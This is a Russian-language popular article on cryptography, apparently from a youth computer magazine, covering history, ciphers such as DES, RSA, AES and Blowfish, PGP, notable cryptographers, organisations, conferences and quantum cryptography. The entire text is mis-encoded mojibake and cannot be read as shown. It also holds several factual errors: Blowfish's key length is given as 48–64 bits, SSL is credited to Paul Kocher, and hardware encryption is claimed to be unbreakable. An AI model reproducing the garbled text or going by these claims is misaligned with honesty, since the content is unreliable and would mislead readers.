www.cryptografy.ru � ëó÷øèé ðåñóðñ î êðèïòîãðàôèè â ðóíåòå 



íèÿ. Øåííîí äîêàçàë âñåìó ìèðó
âîçìîæíîñòü èçìåðåíèÿ êîëè÷å-
ñòâà è ïåðåäà÷è èíôîðìàöèè (äà,
âñåãî ëèøü ïîëâåêà íàçàä ôðàçà
«êîëè÷åñòâî èíôîðìàöèè» òðåáî-
âàëà äîêàçàòåëüñòâà). Äîëãîå
âðåìÿ êðèïòîãðàôèÿ îñòàâàëàñü
ñåêðåòíîé äåÿòåëüíîñòüþ ñïåö-
ñëóæá è ãîñóäàðñòâåííûõ ñòðóê-
òóð. Îíà òàêæå ñïîñîáñòâîâàëà
ðàçâèòèþ ýëåêòðîííî-âû÷èñëè-
òåëüíîé òåõíèêè � ïåðâûå òàêèå
ìàøèíû áûëè ñîçäàíû ñïåöèàëü-
íî äëÿ âçëîìà øèôðîâ âîåííûõ
ëåò. Ïðîñòûå ñìåðòíûå ïîëó÷èëè

âîçìîæíîñòü èñïîëüçîâàòü êðèïòîàëãîðèòìû íà ñâîèõ êîìïüþòåðàõ
ëèøü â 1976 ãîäó, êîãäà IBM ðàçðàáîòàëà íîâûé ñòàíäàðò DES (Data
Encryption Standart) è ñäåëàëà åãî îáùåäîñòóïíûì. Ýòî âûçâàëî èíòå-
ðåñ ê êðèïòîãðàôèè ó ìàòåìàòèêîâ è ïðîãðàììèñòîâ, â ðåçóëüòàòå ÷å-
ãî ïîÿâèëèñü ñîîòâåòñòâóþùèå ôèðìû è ïîäðàçäåëåíèÿ íà êàôåäðàõ
óíèâåðñèòåòîâ. Â ÷àñòíîñòè, Äèôôè è Õåëëìàí èçîáðåëè àññèìåòðè÷-
íóþ êðèïòîãðàôèþ, î êîòîðîé ÿ óæå ãîâîðèë âûøå. Ïåðâûì «àññèìå-
òðè÷íûì» ñòàíäàðòîì ñòàë RSA, ðàçðàáîòàííûé íå êðèïòîêîìïàíèåé
è íå ïî çàêàçó ñïåöñëóæá, à òðåìÿ ó÷åíûìè-ìàòåìàòèêàìè â èññëåäî-
âàòåëüñêèõ öåëÿõ � Ðîíàëüäîì Ðèâåñòîì, Ýäè Øàìèðîì è Ëåîíàð-
äîì Àäëåìàíîì. Ïåðâûå áóêâû ôàìèëèé ó÷åíûõ äàëè íàçâàíèå àëãî-
ðèòìó. Íå ñìîòðÿ íà òî, ÷òî RSA ðàçðàáîòàí îêîëî 30 ëåò íàçàä, îí è
ñåãîäíÿ øèðîêî èñïîëüçóåòñÿ âî ìíîãèõ îáëàñòÿõ � èíòåðíåòå, êðå-
äèòíûõ êàðòàõ, ëîêàëüíûõ ñåòÿõ. Äî ñèõ ïîð íå íàéäåíî ýôôåêòèâíûõ
ñïîñîáîâ âçëîìà ýòîãî êðèïòîàëãîðèòìà.
Â 1989 ãîäó êðèïòîãðàôèÿ äîøëà è äî ÑÑÑÐ. Îòå÷åñòâåííûì ñòàäàð-
òîì øèôðîâàíèÿ ñòàë ÃÎÑÒ 28147-89, ÿâëÿâøèéñÿ ñèììåòðè÷íûì
øèôðîì. Ïîäîáíûé DES, ÃÎÑÒ ÿâëÿåòñÿ ãëàâíûì ðîññèéñêèì àëãî-
ðèòìîì è ïî ñåé äåíü.

[àëãîðèòìû] Êàê òû óæå ïîíÿë,
êðèïòîãðàôèÿ � ýòî, ïðåæäå âñå-
ãî, àëãîðèòìû. Èõ èçîáðåòàþò
ó÷åíûå, èõ ëîìàþò õàêåðû, â èõ
ñîâåðøåíñòâîâàíèå âêëàäûâàþò
ìèëëèîíû äîëëàðîâ. Ïîðà ðàñ-
ñêàçàòü î ñàìûõ èçâåñòíûõ êðèï-
òîàëãîðèòìàõ.
IDEA � (International Data Encryp-
tion Algorithm), íàïèñàííûé øâåé-
öàðöàìè Ëýåì è Ìýññè, ïîçèöèî-
íèðóþùèéñÿ êàê ìåæäóíàðîäíûé
ñòàíäàðò øèôðîâàíèÿ. Áëàãîäàðÿ
ñòàðàíèÿì ìåæäóíàðîäíûõ îðãà-
íèçàöèé ñòàíäàðòîâ, ôàêòè÷åñêè
ÿâëÿåòñÿ îñíîâíûì êðèïòîàëãî-
ðèòìîì â Åâðîïå. IDEA íàïèñàí íà
ÑÈ è ëþáîé æåëàþùèé ìîæåò ñêà-
÷àòü ñåáå èñõîäíèêè.
LOKI � ðàçðàáàòûâàåòñÿ â àêàäåìèè
ìèíèñòåðñòâà îáîðîíû Àâñòðàëèè ñ
1989 ãîäà. Îäèí èç åãî àâòîðîâ �
Ëîðè Áðàóí, ïèñàë äîêòîðñêóþ äèñ-
ñåðòàöèþ î êðèïòîãðàôèè, íó è ïî õî-
äó äåëà ñîçäàë ñâîé øèôð. LOKI äî-
âîëüíî ñòîåê, íî â ïðîöåññå åãî èçó-
÷åíèÿ, êðèïòîàíàëèòèêè îáíàðóæèëè
ïàðó îøèáîê, ÷òî âûâåëî åãî èç ãðóï-
ïû ëèäåðîâ ñðåäè àëãîðèòìîâ.

Blowfish � îäèí èç ñàìûõ èçâåñòíûõ è ïîïóëÿðíûõ øèôðîâ. Îí èìååò
êëþ÷ ïåðåìåííîé äëèíû, îò 48 äî 64 áèò, ÷òî ïîâûøàåò åãî çàùèùåí-
íîñòü. Blowfish ñîçäàí Áðþñîì Øíàéåðîì â 1993 ãîäó, êàê ñâîáîäíî ëè-
öåíçèðóåìûé è èñïîëüçóåìûé äëÿ ëþáûõ öåëåé. Â 1994 ãîäó øèôð âû-
èãðàë ïðåñòèæíûé ïðèç æóðíàëà DR.DOBB êàê ñàìûé áåçîïàñíûé àëãî-
ðèòì. Â íàñòîÿùèé ìîìåíò ñóùåñòâóåò óëó÷øåííàÿ âåðñèÿ TWOFISH,
íàïèñàííàÿ òåì æå àâòîðîì.
RC6 � ïðîåêò èçâåñòíîãî åùå ïî RSA Ðîíàëüäà Ðèâåñòà. Îäèí èç ñà-
ìûõ áûñòðî ðàáîòàþùèõ àëãîðèòìîâ, ïîñòîÿííî ñîâåðøåíñòâóþùèéñÿ
è äîðàáàòûâàþùèéñÿ. 
Êðóïíåéøåå ñîáûòèå â èñòîðèè êðèïòîãðàôèè ïîñëåäíèõ ëåò �  âû-
áîð íîâîãî àëãîðèòìà øèôðîâàíèÿ AES. Äåëî â òîì, ÷òî â ñåðåäèíå
90-õ ñòàëî àáñîëþòíî ÿñíî, ÷òî DES áåçíàäåæíî óñòàðåë è òðåáóåò
çàìåíû. Â 1997 ãîäó Íàöèîíàëüíûé èíñòèòóò ñòàíäàðòîâ è òåõíîëî-
ãèé ÑØÀ îáúÿâèë îòêðûòûé êîíêóðñ íà ôåäåðàëüíûé ñòàíäàðò øè-
ôðîâàíèÿ. Òðåáîâàíèÿ ê àëãîðèòìó áûëè òàêèå: îòêðûòàÿ ïóáëèêà-
öèÿ, äîïóñòèìîñòü àïïàðàòíîé è ïðîãðàììíîé ðåàëèçàöèè, áåñïëàò-
íîñòü. Ïåðâûé òóð êîíêóðñà ïðîøåë â êàëèôîðíèéñêîì ãîðîäêå Âåí-
òóðå, ãäå áûëè íàçâàíû 15 çàÿâëåííûõ àëãîðèòìîâ èç 12 ñòðàí ìè-
ðà. Áûëè ïðåäñòàâëåíû ëó÷øèå êðèïòîñèñòåìû, ñðåäè êîòîðûõ íå-
ìàëî íàöèîíàëüíûõ ñòàíäàðòîâ. 
Ïîáåäèòåëåì, à ôàêòè÷åñêè ëó÷øèì êðèïòîàëãîðèòìîì â ìèðå, ñòàë
áåëüãèéñêèé RIJNDAEL. Ðàçðàáîòàëè øèôð Éîí Äàìåí è Âèíñåíò Ðýìåí
èç Ëóâåíñêîãî êàòîëè÷åñêîãî óíèâåðñèòåòà, ÿâëÿþùåãîñÿ âåäóùèì öåí-
òðîì èçó÷åíèÿ êðèïòîãðàôèè â Åâðîïå. Øèôð î÷åíü áûñòðûé, íå òðåáî-
âàòåëåí ê ðåñóðñàì, ìîæåò èìåòü ðàçíóþ äëèíó êëþ÷à. Íà ñåãîäíÿøíèé
äåíü ñëó÷àåâ âçëîìà RIJNDAEL íå çàôèêñèðîâàíî.
Äîïóñêàþ, ÷òî òû íè÷åãî íå ñëûøàë î RIJNDAEL è IDEA äëÿ òåáÿ ïóñòîé
çâóê. Íî âîò â òîì, ÷òî òû îòëè÷íî ïðåäñòàâëÿåøü, ÷òî òàêîå PGP, ÿ
óâåðåí. Pretty Good Privacy, ÷òî ìîæíî ïåðåâåñòè «äîâîëüíî íåïëîõàÿ
çàùèòà», ÿâëÿåòñÿ ïîïóëÿðíåéøåé êðèïòîñèñòåìîé è ñòàíäàðòîì øè-
ôðîâàíèÿ ýëåêòðîííîé ïî÷òû. Èñòîðèÿ PGP íà÷àëàñü â 1991 ãîäó, êîã-
äà àìåðèêàíñêèé ïðîãðàììèñò Ôèë Çèììåðìàí íàïèñàë ïåðâóþ âåð-
ñèþ ïàêåòà. Â òî âðåìÿ â ÑØÀ ñóùåñòâîâàë çàïðåò íà ýêñïîðò òåõíîëî-
ãèé øèôðîâàíèÿ, è Ôèë íå ìîã ðàñïðîñòðàíÿòü ñâîþ ïðîãðàììó. Ýòî

íàñòîëüêî âîçìóòèëî ïåðåäîâóþ
àìåðèêàíñêóþ ìîëîäåæü, ÷òî íå-
êîòîðûå ñòóäåíòû íîñèëè ôóòáîë-
êè ñ èçîáðàæåííûì íà íèõ êîäîì
àëãîðèòìà. Âïðî÷åì, êàæäûé ìîã
çàéòè íà ïîðòàë www.pgpi.com è
ñêà÷àòü ñåáå êðèïòîñèñòåìó, íåâ-
çèðàÿ íà çàêîíû. Â 1996 ãîäó Çèì-
ìåðìàí îñíîâàë êîìïàíèþ PGP,
Inc, ñòàâøóþ â ïîñëåäñòâèè ÷à-
ñòüþ õîëäèíãà Network Associates,
ãäå ïðîäîëæàåò ðàáîòó íàä ñâîèì
ïðîäóêòîì.

Äýí Áåðíøòåéí, îñíîâàòåëü 
ïîðòàëà cr.yp.to

ßí Ãîëäáåðã, îäèí èç ëó÷øèõ
êðèïòîàíàëèòèêîâ â ìèðå
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ÑÑÛËÊÈ ÏÏÎ ÒÒÅÌÅ 
www.iacr.org � ìåæäóíàðîäíàÿ àññîöèàöèÿ êðèïòîëîãè÷åñêèõ èññëåäîâàíèé
www.ssl.stu.neva.ru � öåíòð çàùèòû èíôîðìàöèè Ïèòåðñêîãî Ïîëèòåõà
www.cryptography.ru � âñå î êðèïòîãðàôèè íà ðóññêîì
www.fssr.ru � Èíñòèòóò êðèïòîãðàôèè, ñâÿçè è èíôîðìàòèêè
www.confident.ru � æóðíàë «Êîíôèíäåíò», ïîâåñòâóþùèé î çàùèòå èíôîðìàöèè
www.rsasecurity.com � ïîðòàë êîìïàíèè RSA Security
www.nsa.gov � Àìåðèêàíñêîå àãåíòñòâî íàöèîíàëüíîé áåçîïàñíîñòè
www.dean.usma.edu/math/pubs/cryptologia � ïîïóëÿðíûé æóðíàë äëÿ êðèïòîëîãîâ

Ïîë Êî÷åð, ïðåçèäåíò êîìïàíèè
Cryptography Research



ïðîôåññîð ìàòåìàòèêè óíèâåðñèòåòà Èëëèíîéñ, àâòîð ïî÷òîâîãî äåìî-
íà Qmail. Îñíîâàòåëü ñàéòà cr.yp.to, îäíîãî èç ëó÷øèõ ïîðòàëîâ î øè-
ôðîâàíèè. Â ñâîå âðåìÿ ñóäèëñÿ ñ àìåðèêàíñêèì ïðàâèòåëüñòâîì èç-çà
ïóáëèêàöèè èñõîäíèêîâ êðèïòîàëãîðèòìîâ.
ßí Ãîëäáåðã � îñíîâàòåëü êðèïòîãðàôè÷åñêîé ãðóïïû â óíèâåðñèòåòå
Áåðêëè. Âçëàìûâàë êðèïòîãðàôè÷åñêèå êëþ÷è RSA, SSL, êðèïòîñèñòå-
ìó ñîòîâîé ñâÿçè GSM. Ãëàâà êîìïàíèè Zero Knowledge Systems, ñïå-
öèàëèçèðóþùåéñÿ íà ðàçðàáîòêå security-ÏÎ. 
Áðþñ Øíàéåð � ðàçðàáîò÷èê êðèïòîàëãîðèòìîâ bluefish è twofish. Ðà-
áîòàåò íà êîìïàíèþ Internet Security, Inc. Àâòîð ëó÷øåé êíèãè ïî øè-
ôðîâàíèþ «Ïðèêëàäíàÿ êðèïòîãðàôèÿ». Âûïóñêàåò e-zine Crypto-
Gram Newsletter, ïîñâÿùåííûé ÈÒ-áåçîïàñíîñòè.
Ôèë Çèììåðìàí. ×òîáû ñòàòü âåëèêèì, íóæíî ñäåëàòü âñåãî îäíó âåùü.

Ôèë ñäåëàë PGP, ýòîãî îêàçàëîñü
äîñòàòî÷íî, ÷òîáû âîéòè â èñòî-
ðèþ êàê ëó÷øèé êðèïòîãðàô.
Ýòî ëèøü íåñêîëüêî èìåí. Ìèð
êðèïòîãðàôèè äîñòàòî÷íî âåëèê
è â íåì åñòü ñîòíè äðóãèõ, íå ìå-
íåå âûäàþùèõñÿ ëè÷íîñòåé.

[êîìïàíèè] Ñàìàÿ êðóòàÿ êðèï-
òî-îðãàíèçàöèÿ � International As-
sociation for Cryptologic Research
(IACR). Ýòà êîìïàíèÿ çàíèìàåòñÿ
êðèïòîãðàôè÷åñêèìè èññëåäîâà-
íèÿìè, ðàçðàáàòûâàåò íîâûå àëãî-
ðèòìû è èùåò óÿçâèìîñòè â ñòà-
ðûõ. IACR íàãðàæäàåò ñâîåé ïðå-
ìèåé îñîáî îòëè÷èâøèõñÿ êðèïòî-
ãðàôîâ, ïðîâîäèò ñèìïîçèóìû ïî
ÈÒ-áåçîïàñíîñòè â ðàçíûõ ñòðàíàõ
ìèðà. Îðãàíèçàöèÿ âûïóñêàåò
ñâîé æóðíàë Journal of Cryptology
(www.iacr.org/jofc/jofc.html), ïîæà-
ëóé, ëó÷øèé â ñâîåì ðîäå. Âñòó-
ïèòü â IACR ìîæåò ëþáîé æåëàþ-

ùèé, åñëè ñîîòâåòñòâóåò òðåáîâàíèÿì. Îá ýòèõ òðåáîâàíèÿõ è äðóãóþ
èíôîðìàöèþ ìîæíî íàéòè íà îôèöèàëüíîì ñàéòå www.iacr.org. 
Íå ìåíåå àâòîðèòåòíîé îðãàíèçàöèåé ÿâëÿåòñÿ NSA � àãåíòñòâî íà-
öèîíàëüíîé áåçîïàñíîñòè ÑØÀ. Â çàäà÷è NSA âõîäèò ñîõðàíÿòü áå-
çîïàñíîñòü ñòðàíû â îáëàñòè òåëåêîììóíèêàöèé, â òîì ÷èñëå èíòåð-
íåòà. Íà ðîäèíå àãåíòñòâî èçâåñòíî êàê «ýëåêòðîííàÿ ðàçâåäêà».
NSA âåäåò ðàçðàáîòêó ñîáñòâåííûõ êðèïòîàëãîðèòìîâ, ïðîâîäèò
àíàëèç ñóùåñòâóþùèõ ñèñòåì áåçîïàñíîñòè. Àãåíòñòâî íàöèîíàëü-
íîé áåçîïàñíîñòè ÿâëÿåòñÿ êðóïíåéøèì ðàáîòîäàòåëåì â ìèðå äëÿ
ìàòåìàòèêîâ, â åå ðàñïîðÿæåíèè îãðîìíîå êîëè÷åñòâî ìîùíåéøèõ
êîìïüþòåðîâ. Îðãàíèçàöèÿ ôàêòè÷åñêè ïîëíîñòüþ çàñåêðå÷åííàÿ,
íå èçâåñòíî íè êàêîâ åå áþäæåò, íè êîëè÷åñòâî åå ñîòðóäíèêîâ.
Àãåíòñòâî îòêðîâåííî íåäîëþáëèâàþò â ñðåäå êðèïòîãðàôîâ, òàê êàê
ñâîè íàðàáîòêè îíî äåðæèò â ñåêðåòå, äà è âîîáùå ðàçâèòèå êðèïòî-
ãðàôèè îòíþäü íå â èíòåðåñàõ NSA. Îðãàíèçàöèÿ âûïóñêàåò äîâîëü-
íî ñêàíäàëüíî èçâåñòíóþ «Îðàíæåâóþ êíèãó» � ïåðèîäè÷åñêîå èç-
äàíèå, â êîòîðîì äàþòñÿ êðèòåðèè îöåíêè êîìïüþòåðíûõ ñèñòåì áå-
çîïàñíîñòè. Èìåííî ïî ýòîé êíèãå â ÑØÀ õàðàêòåðèçóþò áåçîïàñ-
íîñòü ñåòåé, â òîì ÷èñëå è âîåííûõ.
Êðóïíåéøåé æå êðèïòîãðàôè÷åñêîé êîìïàíèåé â Ðîññèè ÿâëÿåòñÿ
ÐÊÀ (Ðîññèéñêàÿ Êðèïòîëîãè÷åñêàÿ àññîöèàöèÿ). Ýòî îêîëîíàó÷-
íàÿ îðãàíèçàöèÿ ñ äîâîëüíî ñëîæíîé èåðàðõèåé. ÐÊÀ ïðåäñòàâëÿ-
åò èíòåðåñû êðèïòîëîãîâ â íàøåé ñòðàíå, ïðîâîäèò ñîáñòâåííûå
ðàçðàáîòêè, ñïîíîíñèðóåò ðàçëè÷íûå ïðîåêòû â îáëàñòè ÈÒ. Îðãà-
íèçàöèÿ ïðîâîäèò åæåãîäíóþ êîíôåðåíöèþ «ÐóñÊðèïòî», êðóïíåé-
øåå â ÑÍÃ ìåðîïðèÿòèå òàêîãî ðîäà.

[òóñîâêè] Êàê è ëþáûå äðóãèå íîðìàëüíûå ðåáÿòà, êðèïòîëîãè ëþáÿò
âñòðåòèòüñÿ â óþòíîì ìåñòå, ïîïèòü ïèâî, îáñóäèòü ïðîáëåìû è ïåðñïåêòè-
âû ðàçâèòèÿ ñâîåé îáëàñòè.
Ñàìàÿ êðóïíàÿ êîíôåðåíöèÿ � ýòî EuroCrypt, êîòîðàÿ åæåãîäíî
êî÷óåò ïî ðàçíûì ãîðîäàì ñòàðîãî ñâåòà. Íà íåå ñúåçæàþòñÿ ñà-
ìûå èçâåñòíûå ñïåöèàëèñòû, òàì ïðåäñòàâëÿþò íîâûå ðàçðàáîòêè.
Êñòàòè, â 2006-îì ãîäó ÅâðîÊðèïò áóäåò ïðîõîäèòü â Ïèòåðå � íå
ðåêîìåíäóþ ïðîïóñêàòü.
Òàêæå ïîïóëÿðíà CRYPTO, ïðîâîäÿùàÿñÿ â Ñàíòà-Áàðáàðå. Íî íà íåé â
îñíîâíîì îáñóæäàþòñÿ ÷èñòî àìåðèêàíñêèå ïðîáëåìû, ÷òî, âïðî÷åì,
íåìàëîâàæíî, âåäü ÑØÀ � ëèäåð ìèðîâîé êðèïòîèíäóñòðèè. 
Â Àìñòåðäàìå ñâîþ âûñòàâêó ïðîâîäèò êîìïàíèÿ RSA Security Europe. Îíà
ïîñâÿùåíà íå òîëüêî êðèïòîãðàôèè, íî è security â öåëîì, ÷òî ïðèâëåêàåò

Âçëîìû ñåðüåçíûõ êðèïòîàëãîðèòìîâ ïðîèñõî-
äÿò î÷åíü ðåäêî � äëÿ ýòîãî íóæíû ñïåöèàëè-
ñòû âûñîêîãî óðîâíÿ è áîëüøèå àïïàðàòíûå
ðåñóðñû. Ïîýòîìó êàæäûé óäà÷íûé îïûò êðèï-
òîàíàëèçà ñòàíîâèòñÿ ñâîåãî ðîäà ñåíñàöèåé è
âåäåò ê äîâîëüíî ñåðüåçíûì ïîñëåäñòâèÿì. Ê
ïðèìåðó, ãðóïïà êèòàéñêèõ êðèïòîàíàëèòèêîâ
íåäàâíî âçëîìàëà àìåðèêàíñêèé àëãîðèòì
SHA-1, ïðèìåíÿþùèéñÿ â ýëåêòðîííî-öèôðî-
âîé ïîäïèñè. Èç-çà ýòîãî ïðèøëîñü ðàçðàáàòû-
âàòü è èñïîëüçîâàòü áîëåå íàäåæíûå êðèïòîñè-
ñòåìû, ÷òî îêàçàëîñü ÷ðåâàòî áîëüøèìè ôè-
íàíñîâûìè ïîòåðÿìè.
Îñòàëîñü ïîâåäàòü òåáå îá àïïàðàòíîì øèôðî-
âàíèè. Ïðè èñïîëüçîâàíèè ýòîé ðàçíîâèäíîñòè
êðèïòîãðàôèè òðåáóåòñÿ íå òîëüêî êðèïòîñèñòå-
ìà, íî è îñîáîå óñòðîéñòâî � øèôðàòîð. Àïïà-
ðàòíîå øèôðîâàíèå ìåäëåííåé è ãîðàçäî äîðî-
æå îáû÷íîãî, íî âåðîÿòíîñòü âçëîìà ïîäîáíûõ
ñèñòåì èñêëþ÷åíà. Ó íàñ â Ðîññèè øèôðàòîðû
èçãîòàâëèâàåò ôèðìà «Àíêàä». Óñòðîéñòâà ñåðèè
«Êðèïòîí» áàçèðóþòñÿ íà àëãîðèòìå ÃÎÑÒ è õðà-
íÿò êëþ÷è íà ñìàðò-êàðòàõ ñ îòêðûòîé ïàìÿòüþ.

[ëè÷íîñòè] Êàê è ó ëþáîãî äðóãîãî äâèæåíèÿ,
ó êðèïòîãðàôèè åñòü ÿðêî âûðàæåííûå ëèäåðû,
íà êîòîðûõ âñå ýòî äâèæåíèå è äåðæèòñÿ.
Îäèí èç ñàìûõ àâòîðèòåòíûõ êðèïòîãðàôîâ �
Ðîíàëüä Ðèâåñò. Ðîíàëüä ÿâëÿåòñÿ ïðîôåññî-
ðîì èíôîðìàòèêè è ìàòåìàòèêè â Ìàññà÷óñåò-
ñêîì Òåõíîëîãè÷åñêîì óíèâåðñèòåòå è ÷ëåíîì
ëàáîðàòîðèè èñêóññòâåííîãî èíòåëëåêòà ÌÒÈ.
Îí îñíîâàòåëü âåäóùåé êîìïàíèè â îáëàñòè
èíôîðìàöèîííîé áåçîïàñíîñòè RSA Data Se-
curity è îáëàäàòåëü ìíîãèõ íàãðàä, â òîì ÷èñëå
òàêèõ ïî÷åòíûõ, êàê ïðåìèÿ Òüþðèíãà. ßâëÿåò-
ñÿ îäíèì èç ñîçäàòåëåé àëãîðèòìà RSA è àâòî-
ðîì ìíîãèõ ñòàòåé î
çàùèòå èíôîðìàöèè.
Ïîë Êî÷åð � àìåðè-
êàíñêèé êðèïòîãðàô, â
íàñòîÿùåå âðåìÿ çàíè-
ìàþùèé ïîñò ïðåçè-
äåíòà êîìïàíèè Crypto-
graphy Research, Inc.
Ïîë íàøåë óÿçâèìîñòè
â òàêèõ èçâåñòíûõ àë-
ãîðèòìàõ, êàê RSA,
DSA è ìíîãèõ äðóãèõ.
Îí æå ÿâëÿåòñÿ îäíèì
èç ñîçäàòåëåé ïðîòîêî-
ëà äëÿ áåçîïàñíîé ïå-
ðåäà÷è äàííûõ â Èí-
òåðíåòå � SSL. Â 1991
ãîäó ïîëó÷èë ñòåïåíü
áàêàëàâðà â Ñòýíôîð-
äîâñêîì óíèâåðñèòåòå.
Äýí Áåðíøòåéí � Ðîíàëüä Ðèâåñò, îòåö êðèïòîàëãîðèòìà RSA

Áðþñ Øíàéåð, ñîçäàòåëü blowfish

îôèöèàëüíûé ñàéò êîíôåðåíöèè «ÐóñÊðèïòî»

Êëîä Øåííîí. ×åëî-
âåê, áåç êîòîðîãî áû
íå áûëî êðèïòîãðàôèè
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íà íåå ñàìûõ ðàçíûõ ïîñåòèòåëåé,
íà÷èíàÿ ñîòðóäíèêàìè íàó÷íûõ ëà-
áîðàòîðèé, çàêàí÷èâàÿ õàêåðàìè èç
àíäåãðàóíäà.
Ñàìîé èçâåñòíîé â Ðîññèè êðèï-
òîòóñîâêîé, êàê ÿ óæå ãîâîðèë,
ÿâëÿåòñÿ «ÐóñÊðèïòî». 
Êàæäûé ãîä â íà÷àëå ôåâðàëÿ íå-
äàëåêî îò Ìîñêâû îíà ñîáèðàåò
èíòåðåñóþùèõñÿ êðèïòîëîãèåé
ëþäåé. Çäåñü ìîæíî âñòðåòèòü êàê
îáû÷íûõ ïîëüçîâàòåëåé, òàê è àâ-
òîðèòåòîâ, òàêèõ êàê Ñåðãåé Áàðè-
÷åâ èëè Äìèòðèé Ñêëÿðîâ. Áîëü-
øèíñòâî äîêëàäîâ êîíôåðåíöèè
� ýòî ïîäâåäåíèå èòîãîâ ãîäà,
ðàññêàç î ñàìûõ êðóïíûõ ñîáûòèÿõ

â ìèðå êðèïòîãðàôèè. Ìîæíî ïîñìîòðåòü äîñòèæåíèÿ ðîññèéñêîãî àïïà-
ðàòíîãî øèôðîâàíèÿ, ïîñëóøàòü î íîâûõ êðèïòîàëãîðèòìàõ, ïîîáùàòü-
ñÿ ñ ïðîôåññèîíàëàìè ìèðîâîãî óðîâíÿ. Íà «ÐóñÊðèïòî» ïðåäñòàâëåíû
âñå êðóïíûå ðîññèéñêèå êîìïàíèè, çàíèìàþùèåñÿ ÈÒ-áåçîïàñíîñòüþ.

[êâàíòîâàÿ êðèïòîãðàôèÿ] Ìèð íå ñòîèò íà ìåñòå, íà ñìåíó ñîâðå-
ìåííûì øèôðàì ïðèõîäèò áîëåå ñîâåðøåííàÿ êâàíòîâàÿ êðèïòîãðà-
ôèÿ. Â îòëè÷èå îò êðèïòîãðàôèè òðàäèöèîííîé, êîòîðàÿ äëÿ çàùèòû
äàííûõ èñïîëüçóåò ìàòåìàòè÷åñêèå çàêîíû, êâàíòîâàÿ îñíîâàíà íà
ôèçèêå èíôîðìàöèè. Ïðîöåññ îòïðàâêè è ïðèåìà äàííûõ ïðîèñõîäèò ñ
ïîìîùüþ ôèçè÷åñêèõ ñðåäñòâ òàêèõ, êàê ýëåêòðîíû â òîêå, èëè ôîòîíû
â îïòè÷åñêîé ñâÿçè. Êàê èçâåñòíî, â àñèììåòðè÷íîé êðèïòîãðàôèè
êëþ÷ øèôðîâàíèÿ äîëæåí çíàòü êàæäûé èç òåõ, êòî áóäåò îáìåíèâàòü-
ñÿ èíôîðìàöèåé. Ïîýòîìó ýòîò êëþ÷ êàê-òî íàäî ñîîáùèòü äðóãîìó, ÷òî
ñîçäàåò îïàñíîñòü åãî ïåðåõâàòà. Â êâàíòîâîé êðèïòîãðàôèè ïîäîáíàÿ
ïðîáëåìà èñêëþ÷åíà, êðîìå òîãî, åå êðèïòîàëãîðèòìû íåëüçÿ âçëîìàòü
ïåðåáîðîì (áðóòôîðñîì). Ïåðâóþ êâàíòî-êðèïòîãðàôè÷åñêóþ ñèñòåìó

ñîçäàëè â 1989 ãî-
äó ñîòðóäíèêè IBM,
òàêæå ðàçðàáîòêè
â ýòîé îáëàñòè âå-
äóò êîìïàíèè GAP-
Optique, Mitsubishi
è Toshiba.
Ôèðìà MagicQ íå-
äàâíî ïðåäñòàâèëà
ìèðó óñòðîéñòâî Na-
vajo � ïåðâóþ ñèñòå-
ìó êâàíòîâîé êðèïòî-
ãðàôèè. Ñ ïîìîùüþ
Navajo ìîæíî ñîç-
äàòü ÷àñòíóþ âèðòó-
àëüíóþ ñåòü, ðàáî-
òàþùóþ íà ðàññòîÿ-
íèè 120 êèëîìåòðîâ.
Ïðàâäà, ñòîèìîñòü
ýòîãî óñòðîéñòâà ïî
êàðìàíó òîëüêî ÔÁÐ,

NASA äà Microsoft, íî
ýòî ïîêà äåëî âðåìåíè.

[ðàçíîå] Øèôðîïàí-
êàìè íàçûâàþò êðèïòî-

ëîãîâ-ôàíàòîâ. Ýòî òå, êòî çàèíòå-
ðåñîâàí â èçó÷åíèè êðèïòîãðàôèè è
ïîñòîÿííî èùåò ïóòè ñîâåðøåíñòâî-
âàíèÿ ýòîé íàóêè. Øèôðîïàíêè ïè-
øóò ÏÎ äëÿ çàùèòû èíôîðìàöèè,
ðàçðàáàòûâàþò ñîáñòâåííûå àëãî-
ðèòìû. Ìíîãèå èçâåñòíûå ó÷åíûå
òàêæå ïðè÷èñëÿþò ñåáÿ ê ýòîìó äâè-
æåíèþ. Òóñîâêà øèôðîïàíêîâ ïðî-
õîäèò âîêðóã äèñêóññèîííîãî ëèñòà
� majordomo@toad.com.
Òàêæå èõ ìîæíî íàéòè â UseNet �
èåðàðõèÿ sci.crypt. Êîíôåðåíöèþ
÷èòàþò ïîðÿäêà 100 òûñÿ÷ ÷åëîâåê
ïî âñåìó ìèðó, è íåêîòîðûå íîâî-
ñòè èõ ìèðà êðèïòîãðàôèè ìîæíî
óçíàòü òîëüêî òàì.
Òåïåðü íåìíîãî îá îáðàçîâàíèè.
Ñåãîäíÿ ïðîôåññèÿ «êðèïòî-
ãðàô» � óæå íå ìèô, ñîîòâåò-
ñòâóþùèå êàôåäðû åñòü âî ìíî-
ãèõ ÂÓÇàõ íàøåé ñòðàíû. Ïðè àêàäåìèè ÔÑÁ Ðîññèè ñóùåñòâóåò äà-
æå Èíñòèòóò êðèïòîãðàôèè, ñâÿçè è èíôîðìàòèêè. Ñòîèò ëè èäòè
ó÷èòüñÿ íà ñïåöèàëèñòà ïî çàùèòå èíôîðìàöèè ðåøàòü òåáå, õîòÿ â
íàøåé ñòðàíå ýòî ïîêà íå òàê âîñòðåáîâàíî, êàê çà ðóáåæîì.
Âîò, ñîáñòâåííî, è âñå, ÷òî ÿ õîòåë òåáå ðàññêàçàòü î êðèïòîãðàôèè. Òû óç-
íàë îá àëãîðèòìàõ, êðèïòîñèñòåìàõ, î ñïåöèàëèñòàõ ýòîé îáëàñòè, ìîæåò,
äàæå çàõîòåë ñàì çàíÿòüñÿ êðèïòîëîãèåé. Èíôîðìàöèÿ ñ êàæäûì ãîäîì ñòà-
íîâèòñÿ âñå áîëåå öåííûì òîâàðîì è âñåãäà íàéäåòñÿ òîò, êòî çà åå ñîõðàí-
íîñòü ãîòîâ çàïëàòèòü ëþáûå äåíüãè. Ê òîìó æå ýòî äîñòàòî÷íî ìîëîäàÿ
îáëàñòü íàóêè, ïðåäîñòàâëÿþùàÿ øèðîêèå ãîðèçîíòû äëÿ èññëåäîâàíèé
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âîò òàê ïðîõîäèò èçó÷åíèå êâàíòîâîé êðèïòîãðàôèè

ÊÍÈÃÈ
Êðèïòîãðàôèÿ � íàóêà ìóäðåíàÿ. Åå ìåòîäîì íàó÷íîãî
òûêà íå îñâîèøü, íóæíî ÷èòàòü óìíûå êíèæêè. Ïðèâåäåí-
íûõ çäåñü êíèã õâàòèò òåáå, ÷òîáû ïîñòèãíóòü ïðèìóäðîñòè
êðèïòîãðàôèè.
1 Áðþñ Øíàéåð, «Ïðèêëàäíàÿ êðèïòîãðàôèÿ». Áèáëèÿ
